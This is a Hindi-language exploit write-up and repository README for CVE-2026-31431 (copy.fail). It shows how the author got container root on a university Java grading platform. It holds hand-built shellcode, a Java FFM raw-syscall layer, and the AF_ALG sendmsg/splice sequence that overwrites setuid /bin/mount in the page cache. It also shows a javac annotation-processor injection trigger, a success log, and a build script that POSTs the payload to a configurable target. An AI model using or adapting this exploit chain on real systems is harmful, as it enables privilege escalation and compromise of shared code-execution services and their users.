
CVE-2026-31431 (copy.fail) — सीमित Java निष्पादन वातावरणों के लिए FFM syscall परत + javac annotation processor वितरण के माध्यम से अनुकूलित
पहले श्रेय, क्योंकि यह मायने रखता है। यह भेद्यता, तकनीक और मूल शोषण सब copy.fail के शोधकर्ताओं का काम है। CVE-2026-31431 उनका है। मुझे यह बग नहीं मिला। आगे जो है वह उनके शोषण को एक Java कोड रनर के अंदर चलाने की कहानी है, जिसे इस हद तक बंद कर दिया गया था कि उनका Python जैसा लिखा गया है वैसा चलाना संभव नहीं था। मेरा योगदान प्लंबिंग है, प्रिमिटिव नहीं।
मेरा विश्वविद्यालय Java असाइनमेंट प्लेटफ़ॉर्म छात्रों के कोड को लेता है, उसे javac से कंपाइल करता है, और Docker कंटेनर के अंदर चलाता है। पहले दौर की छेड़छाड़ (और कुछ रिपोर्ट किए गए बगों के पैच होने) के बाद कंटेनर में केवल read only रूट फाइलसिस्टम, seccomp लेवल 2, AppArmor enforce, शून्य capabilities, और केवल /tmp और /dev/shm writable बचे थे, दोनों nosuid,nodev,noexec माउंटेड थे। कोई नेटिव कंपाइलर नहीं था, कोई writable exec पथ नहीं था, कोई memfd_create नहीं, कोई process_vm_readv नहीं, कोई pidfd_getfd नहीं।
copy.fail शोषण को एक writable page cache प्रिमिटिव और shellcode पहुंचाने का रास्ता चाहिए। दोनों में से कोई भी स्पष्ट तरीके से उपलब्ध नहीं था। इसलिए मैंने पूरे डिलीवरी पथ को Java में फिर से बनाया: Java 21 के Foreign Function and Memory API पर बनी एक raw syscall परत, बिल्ड समय पर Python में असेंबल किया गया ELF payload, और ट्रिगर के रूप में एक javac एनोटेशन प्रोसेसर। copy.fail का page cache write ही असली काम करता था। अंतिम परिणाम कंटेनर के अंदर uid 0 था।
कंटेनर रूट, होस्ट रूट नहीं। मैं यह एक से अधिक बार कहूँगा, क्योंकि यही पूरी बात का आकार है।
यह वैसा दिखता था जैसा कंटेनर पिछली समस्याओं के ठीक होने के बाद दिखता था।
uid=100(runner), gid=101(runner)।CapEff: 0x0000000000000000। शून्य प्रभावी capabilities।docker-default (enforce)।/tmp और /dev/shm, दोनों nosuid,nodev,noexec माउंटेड।यह वाकई एक अप्रिय बॉक्स है जिस पर उतरना पड़े। अधिकतर सामान्य चालें खत्म हो चुकी हैं। आप binary नहीं गिरा सकते, कंपाइल नहीं कर सकते, memfd_create करके exec नहीं कर सकते, और जो कुछ writable निर्देशिकाएँ हैं वे noexec हैं।
लेकिन एक दरवाज़ा अधखुला छोड़ दिया गया था। runner sudo के माध्यम से एक privileged सैंडबॉक्स रैपर को कॉल कर सकता था, जो लगभग यह करता था:
/sbin/su-exec root setpriv --no-new-privs --inh-caps=-all "$@" &
तो आप कंटेनर के अंदर uid 0 तक पहुँच सकते थे, लेकिन केवल NoNewPrivs=1 और CAP_SETUID | CAP_SETGID तक सीमित bounding set के साथ। constrained root। नाम में root, बाकी लगभग कुछ भी नहीं।
वह अंतर जो "uid 0 होने" और "uid 0 के रूप में वास्तव में कुछ भी करने में सक्षम होने" के बीच है, ठीक वही अंतर है जिसे बंद करने के लिए copy.fail बनाया गया है।
मूल शोषण Linux AF_ALG सॉकेट, कर्नेल क्रिप्टो API का दुरुपयोग करता है। विशेष रूप से authencesn(hmac(sha256),cbc(aes)) एल्गोरिथम और उसका decrypt पथ। वह पथ कर्नेल स्क्रैच बफर में लिखता है, और sendmsg() और splice() कॉल्स के सावधानीपूर्वक अनुक्रम के माध्यम से आप उस लिखावट को किसी भी फाइल डिस्क्रिप्टर के page cache में मोड़ सकते हैं।
Page cache माउंट नेमस्पेस में साझा होता है। इसलिए यदि आप किसी setuid binary के page cache में लिखते हैं, मान लीजिए /bin/mount, और फिर उसे execve() करते हैं, तो कर्नेल आपके दूषित बाइट्स चलाता है। setuid बिट कर्नेल को फाइल के मालिक, root, को नई प्रक्रिया पहचान के रूप में सम्मानित करने पर मजबूर करता है। यह दूषण कोई race नहीं है। यह एक नियतात्मक (deterministic) लिखावट है। यही पूरा कारण है कि copy.fail उतना ही स्वच्छ है जितना वह है।
मूल Python इसे सुंदर तरीके से करता है। यह मान लेता है कि आप कुछ चीज़ें कर सकते हैं जो मेरे बॉक्स ने मुझे करने से मना कर दिया:
memfd_create() EPERM लौटाता है।process_vm_readv() EPERM लौटाता है।pidfd_getfd() EPERM लौटाता है।RLIMIT_CORE बढ़ाने पर EPERM लौटता है।इसलिए मैं उनका कोड नहीं चला सका। मुझे उन हिस्सों को फिर से बनाना पड़ा जो उन प्रिमिटिव्स को छूते थे, ऐसे आकार में जिसे बॉक्स सहन कर सके।
चार हिस्से। केवल डिलीवरी बदली। page cache write स्वयं copy.fail का है, syscall दर syscall पोर्ट किया गया।
मूल एक पहले से निर्मित shellcode blob का उपयोग करता है। मैं binary अपलोड या execute नहीं कर सका, इसलिए payload को बिल्ड समय पर Python में शुरू से, byte दर byte असेंबल किया जाता है, और hex में क्रमबद्ध किया जाता है। ELF हेडर, प्रोग्राम हेडर और shellcode सभी build_payload() में निर्मित होते हैं और struct से पैक किए जाते हैं।
shellcode स्वयं छोटा और अपनी मंशा के बारे में स्पष्ट है:
code += b'\x48\xc7\xc0\x6a\x00\x00\x00' # mov rax, 106 (setgid)
code += b'\x0f\x05' # syscall
code += b'\x48\xc7\xc0\x69\x00\x00\x00' # mov rax, 105 (setuid)
code += b'\x0f\x05' # syscall
# ... jmp/call/pop to find "/bin/sh", build argv, execve ...
योजना है setgid(0), setuid(0), फिर execve("/bin/sh", ["/bin/sh", "-c", "id"], NULL)। कोई बाहरी फाइल नहीं, कोई अपलोड चरण नहीं। hex स्ट्रिंग सीधे Java स्रोत में literal के रूप में डाली जाती है और static initializer में डिकोड होती है। यह पूरी "no writable exec path" समस्या को बगल से टाल देता है, क्योंकि payload कभी डिस्क को नहीं छूता। यह मेमोरी में जाता है और फिर page cache में।
यह वह हिस्सा है जिससे मैं सबसे अधिक खुश हूँ, और साथ ही वह हिस्सा जो इसे लिखते समय सबसे बेतुका लगा।
मुझे कंटेनर के अंदर से raw syscalls चाहिए थे, और मेरे पास नेटिव कोड कंपाइल या चलाने का कोई रास्ता नहीं था। Java 21 का Foreign Function and Memory API आपको नेटिव लिंकर के माध्यम से C लाइब्रेरी के syscall() को सीधे कॉल करने देता है। पेच यह है कि मैं सटीक मॉड्यूल पथ या FFM के preview पर होने पर निर्भर नहीं रहना चाहता था, इसलिए पूरी वायरिंग java.lang.foreign.* के खिलाफ reflection के माध्यम से की गई है। यह नेटिव लिंकर ढूँढता है, syscall और __errno_location देखता है, (long, long, long, long, long, long, long) -> long के लिए एक FunctionDescriptor बनाता है, और एक MethodHandle लौटाता है।
static long sc(long n, long a, long b, long c, long d, long e, long f) throws Throwable {
return (long) syscall.invokeWithArguments(n, a, b, c, d, e, f);
}
वहाँ से हर syscall बस sc(NR, arg0, arg1, ...) है। मेमोरी anonymous mmap (sc(9, 0, sz, 3, 0x22, -1, 0)) से आती है, लिखावट /proc/self/mem के माध्यम से होती है, पढ़ाई उसी तरह लौटती है। कोई JNI नहीं, कोई नेटिव कंपाइलेशन नहीं, JDK के अलावा कोई निर्भरता नहीं। /proc/self/mem के माध्यम से अपनी मेमोरी पढ़ना और लिखना वही है जो process_vm_readv की जगह लेता है, जिसे बॉक्स ने ब्लॉक कर दिया था।
एक भाग्यशाली संयोग: कंटेनर का JVM लॉन्च रैपर पहले से --enable-native-access=ALL-UNNAMED पास करता था। उस फ्लैग के बिना FFM downcall करने से मना कर देता, और मैं फँस जाता। उन्होंने बाकी सब बंद करने के बाद भी JVM की तरफ दरवाज़ा खुला छोड़ दिया।
यह वह चाल है जो "मैं Java सबमिट कर सकता हूँ" को "मैं constrained root के रूप में कोड चला सकता हूँ" में बदल देती है।
प्लेटफ़ॉर्म छात्रों की सबमिशन को javac से कंपाइल करता है। javac -processor ClassName के माध्यम से एनोटेशन प्रोसेसर का समर्थन करता है। प्रोसेसर का process() तरीका कंपाइलेशन के दौरान, javac के उसी प्रोसेस में, उसी विशेषाधिकारों के साथ चलता है। सबमिशन एंडपॉइंट स्रोतों के बीच एक @javac_args फाइल भी स्वीकार करता था, और उसकी सामग्री सीधे कंपाइलर को दे दी जाती थी। इसलिए मैं javac को यह दे सकता था:
-processor
RP
Trigger.java
और RP.java, मेरा एनोटेशन प्रोसेसर, कंपाइल समय पर execute हो जाता:
@SupportedAnnotationTypes("*")
@SupportedSourceVersion(SourceVersion.RELEASE_21)
public class RP extends AbstractProcessor {
public boolean process(Set<? extends TypeElement> ann, RoundEnvironment re) {
if (done) return false; done = true;
String out = run(<PRIVESC_CMD>,
"timeout", "55", "java",
"--enable-native-access=ALL-UNNAMED", "CopyFailV11");
processingEnv.getMessager().printMessage(Diagnostic.Kind.ERROR, "CF11\n" + out);
return false;
}
}
प्रोसेसर privileged सैंडबॉक्स रैपर को कॉल करता है, जो java CopyFailV11 को constrained root के रूप में चलाता है। शोषण फिर उस constrained root संदर्भ में चलता है और page cache overwrite करता है। कंपाइल एरर संदेश ही वह तरीका भी है जिससे मैंने आउटपुट को प्लेटफ़ॉर्म के प्रतिक्रिया के माध्यम से बाहर निकाला, क्योंकि असफल कंपाइल देखना एक सामान्य बात है।
पूरी श्रृंखला, शुरू से अंत तक:
CopyFailV11.java प्लस RP.java प्लस Trigger.java प्लस @javac_args।javac सब कुछ कंपाइल करता है, एनोटेशन प्रोसेसर से टकराता है।java CopyFailV11 चलाता है।CopyFailV11 constrained root के रूप में चलता है और page cache overwrite करता है।यह copy.fail का प्रिमिटिव है, अवधारणा में अपरिवर्तित, बस Java syscall परत के माध्यम से व्यक्त किया गया। payload के हर 4 बाइट्स को अपने स्वयं के नए AF_ALG सॉकेट चक्र की आवश्यकता होती है:
static int patch(int fd, int off, byte[] v) throws Throwable {
long af = sc(41, 38, 5, 0, 0, 0, 0); // socket(AF_ALG, SOCK_SEQPACKET, 0)
// ... bind to authencesn(hmac(sha256),cbc(aes)), set 72-byte key, set authsize ...
long of = sc(43, af, 0, 0, 0, 0, 0); // accept -> operation socket
// sendmsg with MSG_SPLICE_PAGES (0x8000) to trigger the page cache write
sc(46, of, ma, 32768, 0, 0, 0);
// pipe2 + two splice calls to move the data through
sc(293, pa, 0, 0, 0, 0, 0); // pipe2
sc(275, fd, oa, pw, 0, o, 0); // splice: file -> pipe write end
sc(275, pr, 0, of, 0, o, 0); // splice: pipe read end -> AF_ALG op socket
// ...
}
जो चीज़ इसे काम कराती है, और जिसके बारे में मैं स्पष्ट करना चाहता हूँ कि यह मेरी अंतर्दृष्टि नहीं है: authencesn decrypt स्क्रैच write पथ, MSG_SPLICE_PAGES और splice() के साथ मिलकर, सामान्य copy on write semantics को दरकिनार करता है और बाइट्स को सीधे लक्षित फाइल डिस्क्रिप्टर के page cache में पहुँचाता है। कोई race नहीं। नियतात्मक।
लक्ष्य /bin/mount है। यह setuid root है, और यह page cache में मौजूद है भले ही रूट फाइलसिस्टम एक read only overlay है। overlay डिस्क पर read only है। page cache overlay नहीं है।
[+] CopyFailV11 starting
[+] Writing 54 chunks to /bin/mount page cache
[+] TEST_WRITE result=0
[+] AFTER_TEST_FIRST4=54455354 <-- "TEST" at offset 0, confirmed
[+] MATCH_COUNT=216/216 <-- all payload bytes in page cache
[+] Page cache mutated! Fork+exec /bin/mount...
CHILD_STATUS:
Name: mount
Uid: 0 0 0 0
Gid: 0 0 0 0
CapEff: 00000000000000c0
NoNewPrivs: 1
Seccomp: 2
[+] EXPLOIT SUCCESS: Child ran as uid=0 gid=0 (ROOT)
बाइट्स page cache में उतरते हैं, चाइल्ड uid 0 और gid 0 के रूप में चलता है, और लिखावट चलाने के दौरान शत-प्रतिशत विश्वसनीय है। पहले चार बाइट्स का 54455354 होना केवल ASCII में TEST है, जो वह sanity write है जो मैं असली payload को प्रतिबद्ध करने से पहले करता हूँ। यदि sanity write फाइल में दिख जाता है, तो पूरी लिखावट दिखेगी।
मूल भेद्यता पूरी तरह copy.fail की है। मैंने CVE-2026-31431 की खोज नहीं की, मैंने AF_ALG प्रिमिटिव नहीं पाया, और मैंने sendmsg प्लस splice चाल को डिज़ाइन नहीं किया। मैंने एक ऐसे बॉक्स के लिए डिलीवरी को अनुकूलित किया जहाँ सामान्य सहायकों में से कोई भी मौजूद नहीं था:
memfd_create, process_vm_readv, और pidfd_getfd सभी ब्लॉक थे।यदि आप समझना चाहते हैं कि यह सब क्यों काम करता है, तो copy.fail पढ़ें। यह रेपो "ठीक है, लेकिन क्या होगा अगर बॉक्स ने आपका कंपाइलर और आपकी shellcode फाइल भी छीन ली" का उत्तर है।
चाइल्ड हर उस बाधा को विरासत में लेता है जो सैंडबॉक्स रैपर ने लगाई थी। page cache write के बारे में कुछ भी उन्हें ढीला नहीं करता।
NoNewPrivs: 1। अधिक विशेषाधिकार प्राप्त नहीं होते।CapEff: 0xc0। केवल CAP_SETUID और CAP_SETGID।Seccomp: 2। Syscall फ़िल्टरिंग अभी भी सक्रिय है।docker-default AppArmor अभी भी लागू है।तो यह कंटेनर रूट है, होस्ट रूट नहीं। इस स्थिति से कंटेनर से बाहर निकलना एक अलग और कठिन समस्या है, और AppArmor और कर्नेल हार्डनिंग के बीच बॉक्स इसे बंद करने का अच्छा काम करता है। मैं Docker escape का दावा नहीं कर रहा। मैं दावा कर रहा हूँ कि "constrained root" कॉन्फ़िगरेशन के इरादे से कम प्रतिबंधात्मक निकला, क्योंकि copy.fail के प्रिमिटिव को वास्तविक capabilities की आवश्यकता नहीं होती, उसे बस page cache में लिखने की क्षमता चाहिए, और page cache आपके capability mask की परवाह नहीं करता।
यही वह बिंदु है जिस पर रुककर विचार करना उचित है। सैंडबॉक्स इस बात के इर्द-गिर्द डिज़ाइन किया गया था कि root क्या कर सकता है। शोषण root के रूप में कुछ नहीं करता। यह एक फाइल के साथ एक काम करता है, और वह फाइल संयोग से setuid है।
copy_fail_java_runner.py। बिल्ड स्क्रिप्ट। ELF payload को Python में असेंबल करता है, उसे जनरेटेड Java स्रोतों में डालता है, और POST करने के लिए तैयार payload.json लिखता है। चलाने से पहले फाइल के शीर्ष पर लक्षित होस्ट, रनर एंडपॉइंट और privesc कमांड कॉन्फ़िगर करें।CopyFailV11.java (शोषण और FFM syscall परत), RP.java (एनोटेशन प्रोसेसर), Trigger.java और मुख्य क्लास (डमी स्रोत ताकि कंपाइल अच्छी तरह से बने), javac_args (-processor RP इंजेक्ट करता है), और payload.json।मूल भेद्यता और तकनीक: copy.fail, CVE-2026-31431। यह प्रोजेक्ट एक वातावरण-विशिष्ट पोर्ट है और अंतर्निहित बग का कोई श्रेय नहीं लेता।